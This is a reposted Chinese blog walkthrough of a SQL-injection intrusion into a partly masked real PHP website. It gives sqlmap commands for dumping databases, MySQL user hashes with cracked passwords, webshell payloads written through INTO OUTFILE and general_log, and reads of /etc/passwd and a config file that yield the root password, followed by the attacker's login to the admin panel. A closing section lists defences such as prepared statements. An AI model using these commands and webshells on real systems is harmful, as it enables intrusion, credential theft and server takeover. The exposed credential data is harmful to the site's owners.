使用sqlmap对某php网站进行注入实战及安全防范

news/2024/5/10 14:23:35/文章来源:https://blog.csdn.net/weixin_34150830/article/details/85180849

使用sqlmap对某php网站进行注入实战

   一般来讲一旦网站存在sql注入漏洞,通过sql注入漏洞轻者可以获取数据,严重的将获取webshell以及服务器权限,但在实际漏洞利用和测试过程中,也可能因为服务器配置等情况导致无法获取权限。

1.1php注入点的发现及扫描

1.使用漏洞扫描工具进行漏洞扫描

    将目标url地址放在wvs中进行漏洞扫描,如图1所示,扫描结果显示存在SQL盲注和SQL注入,其漏洞存在的参数为同一页面。

1-wvs漏洞扫描.jpg

图1使用wvs扫描目标网站

2.使用sqlmap工具对注入点进行漏洞验证

   如图2所示,使用sqlmap注入检查命令进行验证:

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34

   验证结果显示该url确实存在sql注入漏洞,且数据库为mysql。

2-对漏洞进行验证.jpg

图2使用sqlmap工具对注入点进行漏洞验证

1.2使用sqlmap进行sql注入测试

1.sql注入payload

   如图3所示,通过sqlmap或者该注入点存在boolean-based blind、 AND/OR time-based blind 、UNION query三种类型漏洞,跟wvs扫描结果一致。sqlmap漏洞测试完毕后会自动给出相应的payload,例如对第一个可以在浏览器中进行测试:http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34%20AND%202952=2952

3-获取漏洞的详细情况.jpg

图3 sql注入payload

2.获取当前数据库名称

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --current-db获取当前数据库为xbase,如图4所示。

4.jpg

图4获取当前数据库名称

3.获取当前用户

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --current-user命令直接获取当前数据库账号为root@localhost,如图5所示。

5.jpg

图5获取当前数据库用户账号

4.查看数据库用户及密码

   由于本例注入点是mysql root账号,因此可以通过sqlmap命令来查看数据库用户(--users)及数据库密码(--password),如图6所示,执行命令如下:

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --users --password

6.JPG

图6查看数据库用户及密码

5.破解并获取数据库明文密码

(1)在线破解并整理数据库密码

   将密码哈希值去掉前面的“*”号,将其复制到www.cmd5.com及somd5.com进行破解,注意该值需要选择密码类型mysql5,整理查询结果如下所示:

root,127.0.0.1,10265996C62D6B0481DB263D7D3AB3B088092EA4

root,zjweb.***.com.cn,1A1AB09EB2AF0018D8A2196D4300A46417EB167D hkhxg

root,localhost,21F0CB490C734AE18C25C945E5A95065B3FE8858 localhost

root,%,9427205DF4B13AF3CFDF9D5A4193C1B143492BA3 asphxg

(2)还可以通过--sql-shell直接查询数据库用户及密码

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --sql-shell

   执行上面命令后,通过查询命令来获取密码,如图7所示:

   select host,user,password from mysql.user

7-查询密码.jpg

图7查询mysql数据库host、user及密码

(3)对服务器端口进行扫描

masscan -p 3306 114.**.***.***

如果开放数据库端口,则可以直接进行连接,扫描结果显示仅仅开放80端口。

6.一些常用的sqlmap命令总结

(1)查看所有数据库

sqlmap.py -u url --dbs

(2)查看某个数据库下所有表

sqlmap.py -u url -D databasename --table

(3)获取列

sqlmap.py -u url -D mysql -T user --column

(4)导出数据

sqlmap.py -u url -D mysql -T user --dump

(5)数据库中表详细记录统计

sqlmap.py -u url -D mysql --count

(6)通过sql-shell来执行查询命令

sqlmap.py -u url --sql-shell

1.3php网站webshell获取

1.php+mysql网站webshell获取思路

(1)通过phpmyadmin登录执行导出获取

select '<?php @eval($_POST[a]);?>'INTO OUTFILE 'D:/work/www/a.php'

(2)general_log配置文件获取

show global variables like "%genera%";

set global general_log=off;

set global general_log='on';

SET global general_log_file='D:/phpStudy/WWW/cmd.php';

SELECT '<?php assert($_POST["cmd"]);?>';

(3)sqlmap os-shell获取

sqlmap -u url --os-shell

(4)后台文件上传漏洞利用及获取

   通过注入点获取管理员密码及后台地址,登录后台寻找上传地址及上传漏洞来获取webshell。

(5)文件包含漏洞来获取webshell

2.直接获取webshell失败

   对于root账号而言,一般情况都可以通过--os-shell命令来获取webshell,如图8所示,执行命令后,并未获取shell。

8.jpg

图8获取shell失败

3.获取真实物理路径

   通过测试,在网站根目录下发现存在phpinfo页面,如图9所示,在该页面中可以看到数据库为内网IP地址192.168.77.88,真实物理路径为/usr/local/apache/htdocs

9.jpg

图9获取网站正式路径

4.写入文件测试

   知道物理路径,可以通过sqlmap进行文件读取和写入命令,执行命令:

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --file-write="C:\tools\sqlmap\1.php"  --file-dest="/usr/local/apache/htdocs/happystudy/shell.php"

   如图10所示,sqlmap执行命令成功,通过url对文件进行访问测试,页面不存在。

10.jpg

图10写入文件测试

5.本地搭建环境测试写入文件

   前面写入文件执行成功,怀疑是命令有问题,因此在本地搭建环境进行测试,测试命令为:

   sqlmap.py -d mysql://root:123456@172.17.26.16:3306/mysql  --file-write="C:\tools\sqlmap\1.php"  --file-dest="C:\ComsenzEXP\wwwroot\shell.php"

   结果在C:\ComsenzEXP\wwwroot\目录下成功写入shell.php文件,为此分析原因可能为:

(1)该目录无写入权限

(2)magic_quotes_gpc值为on

6.尝试general_log文件获取webshell方法

(1)查看genera文件配置情况

show global variables like "%genera%";

(2)关闭general_log

set global general_log=off;

(3)通过general_log选项来获取webshell

set global general_log='on';

SET global general_log_file='/usr/local/apache/htdocs/shell.php';

SELECT '<?php assert($_POST["cmd"]);?>';

   由于以上命令需要在mysql客户端命令行或者phpmyadmin中进行执行,本案例中不具备,通过--sql-shell以及--sql-query命令均未能实现。

7.使用pangolin工具进行导出webshell

   如图11所示,通过pangolin对该sql注入地址进行测试,尝试将webshell导出到网站根目录/usr/local/apache/htdocs/xxx.php文件,结果显示跟前面的分析情况一致。

11-使用pangolin测试.jpg

图11使用pangolin工具进行导出webshell失败

8.读取文件测试

(1)读取文件

   如图12所示,依次执行命令,分别读取/etc/passwd、/usr/local/apache/htdocs/index.php等文件

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --file-read="/usr/local/apache/htdocs/index.php"

sqlmap.py -u http://www.***.com.cn/happystudy/happystudy_info.php?idnow=34 --file-read="/etc/passwd" 

12-读取文件.jpg

图12读取系统文件及其他文件

(2)获取数据库密码

sqlmap会将获取的文件自动保存到当前系统用户下C:\Users\john\.sqlmap\output\www.****.com.cn\files,如图13所示,读取conn.php文件的内容,成功获取数据库root账号密码。

13-读取数据库密码.jpg

图13读取源代码获取root密码

1.4艰难的后台地址获取

1.使用havij对后台进行扫描

   如图14所示,通过havij等工具对目标后台地址进行获取,在本例中获取的是普通用户的登录地址,未获取真正的后台地址。

14-猜测后台.jpg

图14使用havij对后台地址进行扫描

2.通过google成功获取后台地址

   后面使用百度对该url地址进行查询“site:somesite.com 后台管理”未能获取相关信息,但在google中成功获取其后台地址,如图15所示。有时候google***技术还是挺管用的。从url中可以看到该管理地址很难扫描获取。

15-google后台地址.jpg

图15成功获取后台管理地址

3.获取真正的管理表

   通过sqlmap对该数据库中所有的表进行查询,发现存在多个涉及密码的表,admin、admin_files、admin_groups、tb_admin,依次进行和密码破解,将其进行后台登陆,均为成功登录。后面通过读取登录地址的源代码成功获取,其真正的管理员表为tygb,如图16所示,通过sql-shell进行查询:select * from tygb

16-真正的管理员表.jpg

图16获取真正的管理表

4.登录后台管理

   如图17所示,登录成功后,可以看到其cms系统存在多个系统,对每个管理入口进行查看和测试,虽然某些模块存在上传,经过测试,无写入权限。

17-后台管理.JPG

图17登录后台进行管理

5.fckeditor漏洞验证

   在后台中发现其使用了fckeditor编辑器,成功找到其fckeditor编辑器文件测试页面,并对其进行测试,如图18,有无文件权限问题,该漏洞无法利用。

http://www.***.com.cn/mes/news/fckeditor/editor/filemanager/connectors/uploadtest.html

18.jpg

图18文件上传漏洞无法利用

6.网站旁注漏洞利用失败

    后面对该目标网站进行同IP地址域名反查,发现该IP下存在多个域名,通过仔细的核对,发现前面的sql注入点可以读取其数据库,通过获取后台密码,成功进入后台,但也无用,系统存在错误,fckeditor无法上传文件,也无法写入文件。

1.5php网站sql注入防御及总结

1.***总结

(1)本次***主要在于对mysql+php架构下sql注入点注入漏洞sqlmap的利用

(2)利用sqlmap的文件读取和写入功能写入webshell

(3)有些情况下即使存在漏洞,也可能无法获取webshell

2.php网站sql注入防御

(1)过滤一些常见的数据库操作关键字,例如对select ,insert,update,delete,and,*等或通过系统函数addslashes对内容进行过滤。

(2)php配置文件php.ini中register_globals=off;设置为关闭状态

(3)对于sql语句加以封装,避免直接暴漏SQL语句,使用prepared statements(预处理语句)和参数化的查询。这些SQL语句被发送到数据库服务器,它的参数全都会被单独解析。使用PDO和Mysqli,***者想注入恶意的SQL是不可能的。

//使用PDO

$stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name'); 

  $stmt->execute(array(':name' => $name)); 

foreach ($stmt as $row) { 

    // do something with $row 

}

//使用Mysqli

$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?'); 

$stmt->bind_param('s', $name); 

$stmt->execute(); 

$result = $stmt->get_result(); 

while ($row = $result->fetch_assoc()) { 

    // do something with $row 

}

//PDO创建一个连接示例

$dbConnection = new PDO('mysql:dbname=dbtest;host=127.0.0.1;charset=utf8', 'user', 'pass'); 

$dbConnection->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); 

$dbConnection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

(4)开启PHP安全模式safe_mode=on

(5)打开magic_quotes_gpc来防止SQL注入,默认为关闭,开启后自动把用户提交sql查询语句进行转换把"'"转换成"\'"

(6)控制错误信息输出,关闭错误信息提示,将错误信息写到系统日志。

(7)网站安装waf防护软件

参考文章:

http://johan.viekee.com/?p=174

更多精彩内容,欢迎查看并订阅sqlmap***实战专栏

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_807918.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网站缓存【我只是单纯的保存网站!】

首先不要问我为什么要保存网站&#xff01;不要问我保存离线网站有什么意义&#xff01;【我只是单纯的保存网站&#xff01;】 首先我们需要工具 WebZip 绿色中文版 使用教程 自写简洁教程&#xff01; 转载于:https://www.cnblogs.com/userzf/p/9829725.html

【工具】ArchiveBox - 收藏夹管理、网站快照爬虫

文章目录github&#xff1a;https://github.com/ArchiveBox/ArchiveBox demo&#xff1a;https://demo.archivebox.io/

丈哥SEO:SEO过程中如何做好营销型网站的内容建设?

&#xff08;文/丈哥&#xff09;所谓营销型网站就是为实现某种特定的营销目标&#xff0c;能将营销的思想、方法和技巧融入到网站策划、设计与制作中的网站。最为常见的营销型网站的目标是获得销售线索或直接获得订单。 一个好的营销型网站就像一个业务员一样&#xff0c;了解…

mysql 备份网站_新人须知的网站文件和MySQL数据库备份流程思路

昨天老左再次遇到一个网友告知使用的一台服务器自己无意中点击主机商面板的导致服务器被重新安装系统(居然这也可以)&#xff0c;问问是否可以恢复数据。这个同学和之前遇到好几次的网友真相似&#xff0c;从开始购买服务器&#xff0c;到自己网站搬迁过来或者新做的网站居然这…

搭建lamp(linux+apache+mysql+php)_Centos7运维(2)-第一次在Linux下部署PHP项目,采用LAMP网站架构(Linux+Apache+MySQL+PHP)...

LAMP指的Linux(操作系统)、Apache(HTTP 服务器)&#xff0c;MySQL(数据库软件) 和PHP(有时也是指Perl或Python) 的缩写&#xff0c;一般用来搭建web 服务器。(1)Mysql 5.61.下载mysql-server文件[rootCentos~]# wget http://dev.mysql.com/get/mysql-community-release-el7-5.n…

使用Python进行网站页面开发——HTML

目录 一、HTML基础语法 1.HTML是什么&#xff1f; 2.HTML基本结构 3.HTML注释 二、HTML常用标签介绍 1.文本标签 2.格式化标签 3.图片标签 4.超级链接标签 5.表格标签&#xff08;用来显示数据&#xff09; 6.表单标签&#xff08;用来接收数据&#xff09; 7.行内…

使用Python进行网站页面开发——网页布局介绍

一、传统的DIVCSS布局 1.HTML5语义化标签 <header>定义页面或区段的头部(页眉) <footer>定义页面或区段的尾部&#xff08;页脚) <nav>定义页面或区段的导航区域&#xff08;导航) <section>页面的逻辑区域或内容组合(区块) <article>定义正文或…

使用Python进行网站页面开发——Django框架介绍与安装

一、web开发介绍 二、框架介绍 1.什么是框架? 框架就是程序的骨架&#xff0c;主体结构&#xff0c;也是个半成品。 2&#xff0e;框架的优缺点 可重用、成熟,稳健、易扩展、易维护 3. Python中常见的框架 大包大揽Django被官方称之为完美主义者的Web框架。力求精简web.py…

使用Python进行网站页面开发——Django快速入门

目录 一、项目的创建与运行 1.创建项目 2.运行 二、应用的创建和使用 1&#xff0c;创建一个应用程序 2.编写我们的第一个视图 三、项目的模型 1.连接MySQL数据库设置 2.创建模型 3.激活模型 4.使用&#xff08;两种&#xff09; &#xff08;1&#xff09;现在进入交…

使用Python进行网站页面开发——Django的URL路由配置

目录 一、Django是如何处理一个请求? 二、路径转换器 三、错误处理 四、包括其他的URLconf 五、URL的反向解析 介绍&#xff1a; 一个干净优雅的URL方案是高质量Web应用程序中的一个重要细节。Django可以让你自己设计URL&#xff0c;无论你想要什么&#xff0c;没有框架…

Github搭建个人网站(学习前端,记录个人博客)

目录初步搭建优化页脚固定初步搭建 这是我做的&#xff1a; 访问网页可看&#xff1a; https://chenshunpeng.github.io/&#xff08;仓库地址&#xff1a;here&#xff09; 借鉴自&#xff08;会动的主页&#xff0c;感觉很nice&#xff09;&#xff1a;https://yk-liu.g…

在线翻译网站的对比

技术方面的文档&#xff0c;很多都是英文的&#xff0c;对于英文不好的人来说&#xff0c;看英文文档是件很痛苦的事情&#xff0c;此时就不得不借助于翻译工具了&#xff0c;比如在线翻译网站&#xff0c;那么找到一个合适的翻译网站是非常有帮助的。 在线翻译网站主要有 谷歌…

高并发大流量网站 10 个调优策略

2019独角兽企业重金招聘Python工程师标准>>> 普通的P4服务器一般最多能支持每天10万独立IP&#xff0c;如果访问量比这个还要大&#xff0c; 那么必须首先配置一台更高性能的专用服务器才能解决问题 &#xff0c;否则怎么优化都不可能彻底解决性能问题。1.硬件升级 …

以太坊Dapp项目-拍卖网站-智能合约编写测试

修订日期姓名邮箱2018-10-18brucefengbrucefengbrucefeng.com前言 写这篇文章的初衷其实很简单&#xff0c;在MyEtherWallet上申请以太坊ENS的时候&#xff0c;竞标的以太币两次被吞&#xff0c;而且是在规定时间点进行了价格公告&#xff0c;这篇文章的设计思路其实就是跟ENS的…

RXThink 官方网站正式上线

百度智能云域名服务&#xff0c;.com新用户首购仅需25元 RXThink 是一个开源的权限及内容管理框架&#xff0c;提供更方便、更安全的 WEB 应用开发体验&#xff0c;采用了全新的架构设计和命名空间机制&#xff0c;融合了模块化、驱动化和插件化的设计理念于一体&#xff0c;…

利用新浪云SAE搭建可访问的免费个人网站

注&#xff1a;老师课件中&#xff0c;提到我们应该把网站发布到 http://www.openshift.com , 这是Red-hat 开发的PAAS服务&#xff0c;即是包装好底层的硬件和基础软件&#xff08;如 apache、nginx 、mysql 、php&#xff09;等服务&#xff0c;使用者可以直接在上面发布应用…

新浪云SAE搭建可访问的免费个人网站

注&#xff1a;老师课件中&#xff0c;提到我们应该把网站发布到 http://www.openshift.com , 这是Red-hat 开发的PAAS服务&#xff0c;即是包装好底层的硬件和基础软件&#xff08;如 apache、nginx 、mysql 、php&#xff09;等服务&#xff0c;使用者可以直接在上面发布应用…

php电商网站源码_PHP新款美化ui大学校园表白墙网站源码

源码描述&#xff1a;花十分钟搭建一款学校的表白校园墙程序修复一些小问题&#xff0c;安装很简单&#xff0c;内附安装教程说明安装方法&#xff1a;1、上传源码到主机或服务器2丶导入数据库3、 修改数据库配置地址&#xff0c;\inc\config.php后台账号&#xff1a;admin后台…

如何把不同尺寸ico格式图标_网站ico 图标不会做?用这个小工具轻松搞定

给自己的网站加上一个小图标&#xff0c;显示既专业又美观。网站左上角显示的小图标一般是ico格式的图片&#xff0c;然后在HTML里使用代码去设置ico小图片为该网站的小标。<link rel"shortcut icon" href"/favicon.ico" type"image/x-icon"/…

九天自助建站系统_自助建站系统做网站简单吗?广州有哪些网站建设

自助建站系统是根据传统建站技术&#xff0c;进行升级把开发技术简化&#xff0c;把传统建站高技术门槛降为“零”&#xff0c;使第一次用自助建站系统的用户&#xff0c;也可以轻松简单完成建站。我们继续往下聊一下&#xff0c;详细拆分自助建站系统&#xff0c;到底建站简单…